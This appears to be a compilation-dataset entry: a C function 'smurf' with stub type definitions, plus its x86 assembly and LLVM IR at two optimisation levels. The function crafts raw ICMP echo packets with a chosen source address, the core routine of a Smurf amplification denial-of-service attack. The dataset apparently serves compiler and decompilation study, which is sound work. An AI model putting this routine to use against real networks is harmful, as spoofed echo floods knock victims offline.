#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
typedef int /*<<< orphan*/ u_short;
typedef int /*<<< orphan*/ u_long;
struct TYPE_2__ {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  TYPE_1__ sin_addr;
};
struct sockaddr {
  int dummy;
};
struct iphdr {
  int ihl;
  int version;
  int ttl;
  void *check;
  int /*<<< orphan*/ daddr;
  int /*<<< orphan*/ saddr;
  int /*<<< orphan*/ protocol;
  scalar_t__ frag_off;
  scalar_t__ tos;
  int /*<<< orphan*/ tot_len;
};
struct icmphdr {
  int type;
  void *checksum;
  scalar_t__ code;
};

/* Variables and functions */
int /*<<< orphan*/ IPPROTO_ICMP;
int /*<<< orphan*/ free(char *);
int /*<<< orphan*/ htons(int);
void *in_chksum(int /*<<< orphan*/ *, int);
char *malloc(int);
int /*<<< orphan*/ memset(char *, int /*<<< orphan*/, int);
int /*<<< orphan*/ sendto(int, char *, int, int /*<<< orphan*/,
                          struct sockaddr *, int);
void smurf(int sock, struct sockaddr_in sin, u_long dest, int psize) {
  struct iphdr *ip;
  struct icmphdr *icmp;
  char *packet;
  packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
  ip = (struct iphdr *)packet;
  icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
  memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
  ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
  ip->ihl = 5;
  ip->version = 4;
  ip->ttl = 255;
  ip->tos = 0;
  ip->frag_off = 0;
  ip->protocol = IPPROTO_ICMP;
  ip->saddr = sin.sin_addr.s_addr;
  ip->daddr = dest;
  ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
  icmp->type = 8;
  icmp->code = 0;
  icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);
  sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0,
         (struct sockaddr *)&sin, sizeof(struct sockaddr));
  free(packet);
}


x86 assembly (clang, -O0):
<smurf>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
mov    %esi,-0x8(%rbp)
mov    %edi,-0xc(%rbp)
mov    %edx,-0x10(%rbp)
mov    %ecx,-0x14(%rbp)
movslq -0x14(%rbp),%rax
add    $0x58,%rax
mov    %eax,%edi
call   1080 <malloc@plt>
mov    %rax,-0x30(%rbp)
mov    -0x30(%rbp),%rax
mov    %rax,-0x20(%rbp)
mov    -0x30(%rbp),%rax
add    $0x40,%rax
mov    %rax,-0x28(%rbp)
mov    -0x30(%rbp),%rdi
movslq -0x14(%rbp),%rax
add    $0x58,%rax
mov    %eax,%edx
xor    %esi,%esi
call   1050 <memset@plt>
movslq -0x14(%rbp),%rax
add    $0x58,%rax
mov    %eax,%edi
call   1040 <htons@plt>
mov    %eax,%ecx
mov    -0x20(%rbp),%rax
mov    %ecx,0x38(%rax)
mov    -0x20(%rbp),%rax
movl   $0x5,(%rax)
mov    -0x20(%rbp),%rax
movl   $0x4,0x4(%rax)
mov    -0x20(%rbp),%rax
movl   $0xff,0x8(%rax)
mov    -0x20(%rbp),%rax
movq   $0x0,0x30(%rax)
mov    -0x20(%rbp),%rax
movq   $0x0,0x28(%rax)
mov    0x2de1(%rip),%rax
mov    (%rax),%ecx
mov    -0x20(%rbp),%rax
mov    %ecx,0x20(%rax)
mov    -0x8(%rbp),%ecx
mov    -0x20(%rbp),%rax
mov    %ecx,0x1c(%rax)
mov    -0x10(%rbp),%ecx
mov    -0x20(%rbp),%rax
mov    %ecx,0x18(%rax)
mov    -0x20(%rbp),%rdi
mov    $0x40,%esi
call   1070 <in_chksum@plt>
mov    %rax,%rcx
mov    -0x20(%rbp),%rax
mov    %rcx,0x10(%rax)
mov    -0x28(%rbp),%rax
movl   $0x8,(%rax)
mov    -0x28(%rbp),%rax
movq   $0x0,0x10(%rax)
mov    -0x28(%rbp),%rdi
movslq -0x14(%rbp),%rax
add    $0x18,%rax
mov    %eax,%esi
call   1070 <in_chksum@plt>
mov    %rax,%rcx
mov    -0x28(%rbp),%rax
mov    %rcx,0x8(%rax)
mov    -0xc(%rbp),%edi
mov    -0x30(%rbp),%rsi
movslq -0x14(%rbp),%rax
add    $0x58,%rax
mov    %eax,%edx
lea    -0x8(%rbp),%r8
xor    %ecx,%ecx
mov    $0x4,%r9d
call   1060 <sendto@plt>
mov    -0x30(%rbp),%rdi
call   1030 <free@plt>
add    $0x30,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<smurf>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
push   %rax
mov    %ecx,%ebp
mov    %edx,%r13d
mov    %esi,%r14d
mov    %edi,0x4(%rsp)
mov    %esi,(%rsp)
lea    0x58(%rbp),%r15d
mov    %r15d,%edi
call   1080 <malloc@plt>
mov    %rax,%rbx
lea    0x40(%rax),%r12
mov    %rax,%rdi
xor    %esi,%esi
mov    %r15d,%edx
call   1050 <memset@plt>
mov    %r15d,%edi
call   1040 <htons@plt>
mov    %eax,0x38(%rbx)
movabs $0x400000005,%rax
mov    %rax,(%rbx)
movl   $0xff,0x8(%rbx)
xorps  %xmm0,%xmm0
movups %xmm0,0x28(%rbx)
mov    0x2e21(%rip),%rax
mov    (%rax),%eax
mov    %eax,0x20(%rbx)
mov    %r14d,0x1c(%rbx)
mov    %r13d,0x18(%rbx)
mov    %rbx,%rdi
mov    $0x40,%esi
call   1070 <in_chksum@plt>
mov    %rax,0x10(%rbx)
movl   $0x8,0x40(%rbx)
movq   $0x0,0x50(%rbx)
add    $0x18,%ebp
mov    %r12,%rdi
mov    %ebp,%esi
call   1070 <in_chksum@plt>
mov    %rax,0x48(%rbx)
mov    %rsp,%r8
mov    0x4(%rsp),%edi
mov    %rbx,%rsi
mov    %r15d,%edx
xor    %ecx,%ecx
mov    $0x4,%r9d
call   1060 <sendto@plt>
mov    %rbx,%rdi
call   1030 <free@plt>
add    $0x8,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret

LLVM IR (-O0):
%struct.sockaddr_in = type { %struct.TYPE_2__ }
%struct.TYPE_2__ = type { i32 }
%struct.iphdr = type { i32, i32, i32, i8*, i32, i32, i32, i64, i64, i32 }
%struct.icmphdr = type { i32, i8*, i64 }
%struct.sockaddr = type { i32 }
@IPPROTO_ICMP = global i32 0
define void @smurf(i32 %0, i32 %1, i32 %2, i32 %3) {
%5 = alloca %struct.sockaddr_in
%6 = alloca i32
%7 = alloca i32
%8 = alloca i32
%9 = alloca %struct.iphdr*
%10 = alloca %struct.icmphdr*
%11 = alloca i8*
%12 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %5, i32 0, i32 0
%13 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %12, i32 0, i32 0
store i32 %1, i32* %13
store i32 %0, i32* %6
store i32 %2, i32* %7
store i32 %3, i32* %8
%14 = load i32, i32* %8
%15 = sext i32 %14 to i64
%16 = add i64 88, %15
%17 = trunc i64 %16 to i32
%18 = call i8* @malloc(i32 %17)
store i8* %18, i8** %11
%19 = load i8*, i8** %11
%20 = bitcast i8* %19 to %struct.iphdr*
store %struct.iphdr* %20, %struct.iphdr** %9
%21 = load i8*, i8** %11
%22 = getelementptr inbounds i8, i8* %21, i64 64
%23 = bitcast i8* %22 to %struct.icmphdr*
store %struct.icmphdr* %23, %struct.icmphdr** %10
%24 = load i8*, i8** %11
%25 = load i32, i32* %8
%26 = sext i32 %25 to i64
%27 = add i64 88, %26
%28 = trunc i64 %27 to i32
%29 = call i32 @memset(i8* %24, i32 0, i32 %28)
%30 = load i32, i32* %8
%31 = sext i32 %30 to i64
%32 = add i64 88, %31
%33 = trunc i64 %32 to i32
%34 = call i32 @htons(i32 %33)
%35 = load %struct.iphdr*, %struct.iphdr** %9
%36 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %35, i32 0, i32 9
store i32 %34, i32* %36
%37 = load %struct.iphdr*, %struct.iphdr** %9
%38 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %37, i32 0, i32 0
store i32 5, i32* %38
%39 = load %struct.iphdr*, %struct.iphdr** %9
%40 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %39, i32 0, i32 1
store i32 4, i32* %40
%41 = load %struct.iphdr*, %struct.iphdr** %9
%42 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %41, i32 0, i32 2
store i32 255, i32* %42
%43 = load %struct.iphdr*, %struct.iphdr** %9
%44 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %43, i32 0, i32 8
store i64 0, i64* %44
%45 = load %struct.iphdr*, %struct.iphdr** %9
%46 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %45, i32 0, i32 7
store i64 0, i64* %46
%47 = load i32, i32* @IPPROTO_ICMP
%48 = load %struct.iphdr*, %struct.iphdr** %9
%49 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %48, i32 0, i32 6
store i32 %47, i32* %49
%50 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %5, i32 0, i32 0
%51 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %50, i32 0, i32 0
%52 = load i32, i32* %51
%53 = load %struct.iphdr*, %struct.iphdr** %9
%54 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %53, i32 0, i32 5
store i32 %52, i32* %54
%55 = load i32, i32* %7
%56 = load %struct.iphdr*, %struct.iphdr** %9
%57 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %56, i32 0, i32 4
store i32 %55, i32* %57
%58 = load %struct.iphdr*, %struct.iphdr** %9
%59 = bitcast %struct.iphdr* %58 to i32*
%60 = call i8* @in_chksum(i32* %59, i32 64)
%61 = load %struct.iphdr*, %struct.iphdr** %9
%62 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %61, i32 0, i32 3
store i8* %60, i8** %62
%63 = load %struct.icmphdr*, %struct.icmphdr** %10
%64 = getelementptr inbounds %struct.icmphdr, %struct.icmphdr* %63, i32 0, i32 0
store i32 8, i32* %64
%65 = load %struct.icmphdr*, %struct.icmphdr** %10
%66 = getelementptr inbounds %struct.icmphdr, %struct.icmphdr* %65, i32 0, i32 2
store i64 0, i64* %66
%67 = load %struct.icmphdr*, %struct.icmphdr** %10
%68 = bitcast %struct.icmphdr* %67 to i32*
%69 = load i32, i32* %8
%70 = sext i32 %69 to i64
%71 = add i64 24, %70
%72 = trunc i64 %71 to i32
%73 = call i8* @in_chksum(i32* %68, i32 %72)
%74 = load %struct.icmphdr*, %struct.icmphdr** %10
%75 = getelementptr inbounds %struct.icmphdr, %struct.icmphdr* %74, i32 0, i32 1
store i8* %73, i8** %75
%76 = load i32, i32* %6
%77 = load i8*, i8** %11
%78 = load i32, i32* %8
%79 = sext i32 %78 to i64
%80 = add i64 88, %79
%81 = trunc i64 %80 to i32
%82 = bitcast %struct.sockaddr_in* %5 to %struct.sockaddr*
%83 = call i32 @sendto(i32 %76, i8* %77, i32 %81, i32 0, %struct.sockaddr* %82, i32 4)
%84 = load i8*, i8** %11
%85 = call i32 @free(i8* %84)
ret void
}

LLVM IR (-O2):
%struct.sockaddr_in = type { %struct.TYPE_2__ }
%struct.TYPE_2__ = type { i32 }
%struct.iphdr = type { i32, i32, i32, i8*, i32, i32, i32, i64, i64, i32 }
%struct.sockaddr = type { i32 }
@IPPROTO_ICMP = global i32 0
define void @smurf(i32 %0, i32 %1, i32 %2, i32 %3) {
%5 = alloca %struct.sockaddr_in
%6 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %5, i64 0, i32 0, i32 0
store i32 %1, i32* %6
%7 = add i32 %3, 88
%8 = tail call i8* @malloc(i32 %7)
%9 = bitcast i8* %8 to %struct.iphdr*
%10 = getelementptr inbounds i8, i8* %8, i64 64
%11 = tail call i32 @memset(i8* %8, i32 0, i32 %7)
%12 = tail call i32 @htons(i32 %7)
%13 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %9, i64 0, i32 9
store i32 %12, i32* %13
%14 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %9, i64 0, i32 0
store i32 5, i32* %14
%15 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %9, i64 0, i32 1
store i32 4, i32* %15
%16 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %9, i64 0, i32 2
store i32 255, i32* %16
%17 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %9, i64 0, i32 7
%18 = bitcast i64* %17 to i8*
%19 = load i32, i32* @IPPROTO_ICMP
%20 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %9, i64 0, i32 6
store i32 %19, i32* %20
%21 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %9, i64 0, i32 5
store i32 %1, i32* %21
%22 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %9, i64 0, i32 4
store i32 %2, i32* %22
%23 = tail call i8* @in_chksum(i32* %14, i32 64)
%24 = getelementptr inbounds %struct.iphdr, %struct.iphdr* %9, i64 0, i32 3
store i8* %23, i8** %24
%25 = bitcast i8* %10 to i32*
store i32 8, i32* %25
%26 = getelementptr inbounds i8, i8* %8, i64 80
%27 = bitcast i8* %26 to i64*
store i64 0, i64* %27
%28 = add i32 %3, 24
%29 = tail call i8* @in_chksum(i32* %25, i32 %28)
%30 = getelementptr inbounds i8, i8* %8, i64 72
%31 = bitcast i8* %30 to i8**
store i8* %29, i8** %31
%32 = bitcast %struct.sockaddr_in* %5 to %struct.sockaddr*
%33 = call i32 @sendto(i32 %0, i8* %8, i32 %7, i32 0, %struct.sockaddr* %32, i32 4)
%34 = call i32 @free(i8* %8)
ret void
}